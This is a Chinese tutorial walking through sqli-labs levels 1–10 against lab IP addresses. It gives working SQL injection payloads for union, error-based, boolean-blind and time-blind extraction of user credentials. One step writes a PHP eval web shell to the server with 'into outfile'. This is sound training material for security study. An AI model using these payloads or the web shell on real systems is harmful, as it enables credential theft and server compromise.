前言概述

1.判断是否存在 Sql 注入漏洞

  1. 最为经典的单引号判断法:
  1. 在参数后面加上单引号,比如: http://xxx/abc.php?id=1' 如果页面返回错误,则存在 Sql 注入。
  2. 原因是无论字符型还是整型都会因为单引号个数不匹配而报错。
  3. (如果未报错,不代表不存在 Sql 注入,因为有可能页面对单引号做了过滤,这时可以使用判断语句进行注入,因为此为入门基础课程,就不做深入讲解了)
  1. 判断 Sql 注入漏洞的类型
  1. 通常 Sql 注入漏洞分为 2 种类型:

数字型

字符型

其实所有的类型都是根据数据库本身表的类型所产生的,在我们创建表的时候会发现其后总有个数据类型的限制,而不同的数据库又有不同的数据类型,但是无论怎么分常用的查询数据类型总是以数字与字符来区分的,所以就会产生注入点为何种类型。

  1. 数字型判断:
  1. 当输入的参 x 为整型时,通常 abc.php 中 Sql 语句类型大致如下:select * from <表名> where id = x这种类型可以使用经典的 and 1=1 和 and 1=2 来判断:
  1. Url 地址中输入 http://xxx/abc.php?id= x and 1=1 页面依旧运行正常,继续进行下一步。
  2. Url 地址中继续输入 http://xxx/abc.php?id= x and 1=2 页面运行错误,则说明此 Sql 注入为数字型注入。
  1. 原因如下:
  1. 当输入 and 1=1时,后台执行 Sql 语句:select * from <表名> where id = x and 1=1 没有语法错误且逻辑判断为正确,所以返回正常
  2. 当输入 and 1=2时,后台执行 Sql 语句:select * from <表名> where id = x and 1=2 没有语法错误但是逻辑判断为假,所以返回错误。

我们再使用假设法:如果这是字符型注入的话,我们输入以上语句之后应该出现如下情况:

select * from <表名> where id = 'x and 1=1'

select * from <表名> where id = 'x and 1=2'

查询语句将 and 语句全部转换为了字符串,并没有进行 and 的逻辑判断,所以不会出现以上结果,故假设是不成立的。

  1. 字符型判断:
  1. 当输入的参 x 为字符型时,通常 abc.php 中 SQL 语句类型大致如下:select * from <表名> where id = 'x'这种类型我们同样可以使用 and ‘1’='1 和 and ‘1’='2来判断:
  1. Url 地址中输入 http://xxx/abc.php?id= x' and '1'='1 页面运行正常,继续进行下一步。
  2. Url 地址中继续输入 http://xxx/abc.php?id= x' and '1'='2 页面运行错误,则说明此 Sql 注入为字符型注入。
  1. 原因如下:
  1. 当输入 and ‘1’='1时,后台执行 Sql 语句:select * from <表名> where id = 'x' and '1'='1'语法正确,逻辑判断正确,所以返回正确。
  2. 当输入 and ‘1’='2时,后台执行 Sql 语句:select * from <表名> where id = 'x' and '1'='2'语法正确,但逻辑判断错误,所以返回正确。同学们同样可以使用假设法来验证。

————————————————

2、如何判断SQL注入闭合的方式

通过转义符 \ 判断

  1. 原理:当闭合字符遇到转义字符,会被转义,当闭合字符被转义后,没有闭合字符的语句就会报错。我们可以通过报错信息推导闭合方式。
  2. 分析报错信息:报错信息\后跟着的字符是什么,闭合字符就是什么,如果没有,就代表是数字类型。

1、Less-1 基于错误的GET单引号字符型注入

http://192.168.199.160/sqli-labs/Less-1/

  1. 判断是否存在注入点
  1. http://192.168.199.160/sqli-labs/Less-1/?id=1' 报错 证明存在注入点

对应的sql执行语句:SELECT * FROM users WHERE id='1'' LIMIT 0,

http://192.168.199.160/sqli-labs/Less-1/?id=1' --+ 不报错 说明为单引号闭合

SQL注入 1-10_sql

  1. http://192.168.199.160/sqli-labs/Less-1/?id=1' --+ (--+和#表示注释掉后面的语句不被执行)

SELECT * FROM users WHERE id='1'-- ' LIMIT 0,1

  1. 判断列数 order by
  1. http://192.168.199.160/sqli-labs/Less-1/?id=1' order by 3 --+ 页面显示正常,证明列数为3对应sql执行语句:SELECT * FROM users WHERE id='1' order by 3 -- ' LIMIT 0,1
  2. http://192.168.199.160/sqli-labs/Less-1/?id=1' order by 4 --+ 页面显示错误
  1. 判断显示位
  1. http://192.168.199.160/sqli-labs/Less-1/?id=1' and 1=2 union select 1,2,3 --+ 2 3 为显示位置
  1. 查询数据库版本 是否大于5.0 (5.0版本含有information_schema数据库)
  1. http://192.168.199.160/sqli-labs/Less-1/?id=1' and 1=2 union select 1,version(),3 --+
  1. 查询当前用户
  1. http://192.168.199.160/sqli-labs/Less-1/?id=1' and 1=2 union select 1,user(),3 --+
  1. 查询当前数据库
  1. http://192.168.199.160/sqli-labs/Less-1/?id=1' and 1=2 union select 1,database(),3 --+
  1. 爆表
  1. http://192.168.199.160/sqli-labs/Less-1/?id=1' and 1=2 union select 1,group_concat(table_name) ,3 from information_schema.tables where table_schema='security'--+
  1. 爆字段
  1. http://192.168.199.160/sqli-labs/Less-1/?id=1' and 1=2 union select 1,group_concat(column_name) ,3 from information_schema.columns where table_name='users'--+
  1. 爆数据
  1. http://192.168.199.160/sqli-labs/Less-1/?id=1and 1=2 union select 1,group_concat(username),group_concat(password) from security.users--+

2、Less-2 基于错误的GET整型注入

  1. 判断是否存在注入点
  1. http://192.168.199.160/sqli-labs/Less-2/?id=1' 页面报错 说明存在注入点
  1. 判断注入点类型
  1. http://192.168.199.160/sqli-labs/Less-2/?id=1 and 1=1 页面正常
  2. http://192.168.199.160/sqli-labs/Less-2/?id=1 and 1=2 页面错误 说明存在整型注入
  1. 判断列数
  1. http://192.168.199.160/sqli-labs/Less-2/?id=1 order by 4 --+ 页面报错
  2. http://192.168.199.160/sqli-labs/Less-2/?id=1 order by 3 --+ 页面正常 说明列数为3
  1. 和第一关一样 爆出显示位、爆库、爆表、爆字段、爆数据
  1. 显示位:http://192.168.199.160/sqli-labs/Less-2/?id=-1 union select 1,2,3--+
  2. 爆库:http://192.168.199.160/sqli-labs/Less-2/?id=-1 union select 1,database(),3--+
  3. 爆出库中所有表:http://192.168.199.160/sqli-labs/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
  4. 爆出表中字段:http://192.168.199.160/sqli-labs/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+
  5. 爆破数据:http://192.168.199.160/sqli-labs/Less-2/?id=-1 union select 1,group_concat(username),group_concat(password) from security.users--+

3、Less-3 基于错误的GET单引号变形注入

  1. 判断是否存在注入点
  1. http://192.168.199.160/sqli-labs/Less-3/?id=1' 页面报错 说明此处存在注入点
  1. 判断注入点类型
  1. http://192.168.199.160/sqli-labs/Less-3/?id=1 and 1=1 页面正常
  2. http://192.168.199.160/sqli-labs/Less-3/?id=1 and 1=2 页面正常 说明不是整型注入
  3. http://192.168.199.160/sqli-labs/Less-3/?id=1' and '1'='1 --+ 页面正常
  4. http://192.168.199.160/sqli-labs/Less-3/?id=1' and '1'='2 --+ 页面错误 说明此处为字符型注入
  1. 判断注入点闭合方式
  1. 通过转义符 :http://192.168.199.160/sqli-labs/Less-3/?id=1\ 根据转义符 \ 后面的报错信息 判断此处的注入点闭合方式为 ')
  2. 验证:http://192.168.199.160/sqli-labs/Less-3/?id=1') order by 3--+ 页面正常 根据执行语句也可以看出 此处成功进行闭合
  1. 和前两关相同,爆数据
  1. http://192.168.199.160/sqli-labs/Less-3/?id=-1') union select 1,group_concat(username),group_concat(password) from security.users --+

4、Less-4 基于错误的GET双引号字符型注入

  1. 判断是否存在SQL注入
  1. http://192.168.199.160/sqli-labs/Less-4/?id=1' 页面正常
  2. 输入双引号尝试:http://192.168.199.160/sqli-labs/Less-4/?id=1' 页面报错 说明存在注入点
  1. 判断注入点闭合方式
  1. http://192.168.199.160/sqli-labs/Less-4/?id=1\ 根据报错信息 闭合为")
  2. 验证:http://192.168.199.160/sqli-labs/Less-4/?id=1") order by 3--+
  1. 爆破数据
  1. http://192.168.199.160/sqli-labs/Less-4/?id=-1") union select 1,group_concat(username),group_concat(password) from security.users --+

5、Less-5 基于GET单引号注入-报错注入

updatexml() 更新文档的函数

语法 :

SQL注入 1-10_sql_02

SQL注入 1-10_mysq_03

SQL注入 1-10_sql_04

  1. 判断是否存在SQL注入
  1. http://192.168.199.160/sqli-labs/Less-5/?id=1' 页面报错 证明存在sql注入
  1. 判断注入类型
  1. 输入id' or id '' 页面一直都是you are in .... 猜测正确的页面不变,不会将查询结果打印到页面;但是会把错误的信息打印出来
  1. 判断闭合方式
  1. http://192.168.199.160/sqli-labs/Less-5/?id=1\ 得出为单引号闭合
  1. 利用updatexml函数进行报错注入~查询当前数据库
  1. 0x7e代表~ 对结果进行分隔 http://192.168.199.160/sqli-labs/Less-5/?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
  1. 查询库的表数据
  1. http://192.168.199.160/sqli-labs/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+
  1. 查询列名
  1. http://192.168.199.160/sqli-labs/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)--+
  1. 查询数据(由于 updatexml函数报错内容长度不能超过32个字符,所以不能查看全部的内容,这里也可以用limit一个一个的来进行查看) http://192.168.199.160/sqli-labs/Less-5/?id=1' and updatexml(1,concat(0x7e,(select username from security.users limit 0,1),0x7e),1) --+

6、基于GET双引号注入-报错注入


  1. 判断注入点 根据报错信息显示闭合方式为双引号
  2. SQL注入 1-10_sql_05

  3. 无回显信息 ,利用上一关的报错注入测试 查询数据库

  1. http://192.168.199.160/sqli-labs/Less-6/?id=1" and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
  2. SQL注入 1-10_mysq_06

  1. 爆库、爆表、爆字段、爆数据

  2. http://192.168.199.160/sqli-labs/Less-6/?id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+
  3. SQL注入 1-10_mysq_07

7、Less-7 配合文件上传的sql注入获取服务器权限

在利用sql注入漏洞后期,最常用的就是通过mysql的file系列函数来进行读取敏感文件或者写入webshell,其中比较常用的函数有以下三个:

into dumpfile()

into outfile()

load_file()

这些函数使用的前提是需要设置secure_file_priv,如果他为空则可以指定任意目录,如果有设置等于某个路径就只能在这个路径下。而他为null则禁止导入导出

  1. 判断是否存在注入点

  1. http://192.168.199.160/sqli-labs/Less-7/?id=1 页面正常
  2. SQL注入 1-10_sql_08

  3. http://192.168.199.160/sqli-labs/Less-7/?id=1' 页面报错 说明存在注入点

SQL注入 1-10_sql_09


  1. 根据页面回显,此时无报错信息,无法使用报错注入,但是提示use outfile 提示配合使用文件上传 (写入路径前提:mysql对此路径有写入权限;所以需要通过查询mysql的安装路径(select @@datadir);默认情况下mysql安装后,会自动创建mysql用户和mysql用户组,
  2. SQL注入 1-10_sql_10

  3. 数据库会创建在/var/lib/mysql目录下,所要保证数据导出目录有mysql用户权限)
  4. 利用into outfile 函数写入一句话XX:http://192.168.199.161/sqli-labs/Less-7/?id=-1')) union select 1,'<?php eval($_GET[123])?>',3 into outfile '/var/lib/mysql/1.php' --+
  5. 确认文件是否写入:

SQL注入 1-10_mysq_11

  1. 使用蚁剑进行连接
  1. 注意:一句话XX写入 使用REQUEST; 如果使用GET 会导致连接数据为空

SQL注入 1-10_sql_12

SQL注入 1-10_sql_13

8、Less-8 盲注

盲注:

SQL注入 1-10_mysq_14

  1. 判断是否存在注入点:根据页面提示,输入正确的数值和不正确的 页面显示不一致 由此判断此注入方式为盲注

SQL注入 1-10_mysq_15

SQL注入 1-10_sql_16

  1. 盲注 利用bp 进行爆破测试
  1. payload:1' and substr(database(),1,1)='q' --+

  2. 截取数据包 发送至intruder,设置爆破点 猜解数据库名
  3. SQL注入 1-10_mysq_17


  4. 设置payload集 payload 1 设置为1-20的数值
  5. SQL注入 1-10_mysq_18

  6. payload 2 设置为a-z的字母

SQL注入 1-10_sql_19

开始爆破: 根据结果排列组合:得出数据库名:security

SQL注入 1-10_sql_20

  1. 数据库名爆破出来了,下面猜表的数量

  1. 查询表的数量语句:(SELECT COUNT(*) TABLES, table_schema FROM information_schema.TABLES WHERE table_schema = 'database_name' GROUP BY table_schema;
  2. SQL注入 1-10_mysq_21

  3. 猜解表数量语句:

  1. ?id=1' and(select count(table_name) from information_schema.tables where table_schema=database())>3--+ 页面正常
  2. SQL注入 1-10_mysq_22

  3. ?id=1' and(select count(table_name) from information_schema.tables where table_schema=database())>4--+ 页面错误 说明表的数量为4

SQL注入 1-10_mysq_23

  1. 爆破第一个表

  1. 结合bp 爆破第一个表长度:?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6--+
  2. SQL注入 1-10_sql_24


  3. 爆破表名 ?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a'--+ 得出数据表名为emails
  4. SQL注入 1-10_mysq_25

  1. 爆破其余的三个表

  2. 第二个表 ?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1)='a'--+ 得出数据表名为 referers
  3. SQL注入 1-10_sql_26


  4. 第三个表 ?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 2,1),1,1)='a'--+ 得出数据表名为uagents
  5. SQL注入 1-10_sql_27


  6. 第四个表 ?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1)='a'--+ 得出数据表名为users
  7. SQL注入 1-10_sql_28

  8. 爆破users表列数 ?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users' )>3 --+ 修改数值 得出列数为3
  9. 爆破列名

  10. 第一个列名 ?id=1' and substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='a'--+ 第一个列名为id
  11. SQL注入 1-10_mysq_29


  12. 第二个列名 ?id=1' and substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1)='a'--+ 第二个列名为username
  13. SQL注入 1-10_mysq_30


  14. 第三个列名 ?id=1' and substr((select column_name from information_schema.columns where table_name='users' limit 2,1),1,1)='a'--+ 第三个列名为password
  15. SQL注入 1-10_sql_31


  16. 获取表中的数据

SQL注入 1-10_sql_32


  1. 判断数据条数 ?id=1' and (select count(*) from users)=13 --+ 得出条数13条
  2. SQL注入 1-10_sql_33


  3. 判断数据长度 ?id=1' and length((select username from users limit 0,1))=4--+ 得出数据长度
  4. SQL注入 1-10_mysq_34


  5. 爆破数据 ?id=1' and substr((select username from users limit 0,1),1,1)='a'--+
  6. SQL注入 1-10_mysq_35

  7. 得出数据:Dumb (数据库未区分大小写)
  8. SQL注入 1-10_mysq_36

  9. 根据此种爆破方式 即可依次将13条数据 username、password爆破出来

9、Less-9 基于单引号闭合的时间盲注

本关知识点:

  • if()函数 条件判断函数
  • if(a,b,c) if判断句,a为条件,b、c为执行语句;如果a为真就执行b,a为假就执行c;
  • sleep()函数 网页延迟n秒后,输出结果
  • left()函数 从左边数,取几个数
  • 例如:left(abcdef,3) 取3位左边的数,就是abc
  1. 判断是否存在注入
  1. 192.168.199.162/sqli-labs/Less-9/?id=-1''
  2. 192.168.199.162/sqli-labs/Less-9/?id=1'
  3. 192.168.199.162/sqli-labs/Less-9/?id=-1'

  4. 192.168.199.162/sqli-labs/Less-9/?id=1 以上四个注入语句 页面回显均和下图所示
  5. SQL注入 1-10_sql_37

  1. 判断注入点 由于页面不报错 利用sleep延迟函数来判断注入点

  2. ?id=1') and (sleep(4)) --+ (耗时毫秒级,这是正常的页面,没有闭合的页面)
  3. SQL注入 1-10_sql_38


  4. ?id=1' and (sleep(4)) --+ (耗时4s 说明闭合方式正确 执行了sleep(4) )
  5. SQL注入 1-10_sql_39

  6. 判断数据库长度

  7. ?id=1'and if(length(database()=8),sleep(4),1) --+ 如果长度为8 那么执行sleep(4) 否则执行1 说明数据库长度为8
  8. SQL注入 1-10_sql_40

  9. 爆破数据库
  10. ?id=1' and if(ascii(substr(database(),1,1))=115,sleep(4),1) --+

  11. 根据adcii码 对照字母 依次爆破 得到数据库名为security
  12. SQL注入 1-10_sql_41

  13. 爆破库的表 users
  14. ?id=1' and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1))=117,sleep(4),1)--+ (u)
  15. ?id=1' and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),2,1))=115,sleep(4),1)--+ (s)以此类推
  16. 爆破users表的列名 得到 id username password
  17. ?id=1' and If(ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1))=105,sleep(4),1)--+
  18. 爆破数据
  19. ?id=1' and If(ascii(substr((select username from users limit 0,1),1,1))=68,sleep(4),1)--+ 以此类推 得到所有数据

10、Less-10 基于双引号闭合的时间盲注

  1. 判断注入点 由于页面不报错 利用sleep延迟函数来判断注入点

  1. ?id=1' and (sleep(4)) --+ 耗时毫秒级,这是正常的页面,没有闭合的页面
  2. SQL注入 1-10_mysq_42


  3. ?id=1" and (sleep(4)) --+ 耗时4s 说明闭合方式正确 执行了sleep(4)
  4. SQL注入 1-10_mysq_43

  1. 确定完闭合方式后,利用和第九关相同的爆破思路进行爆破即可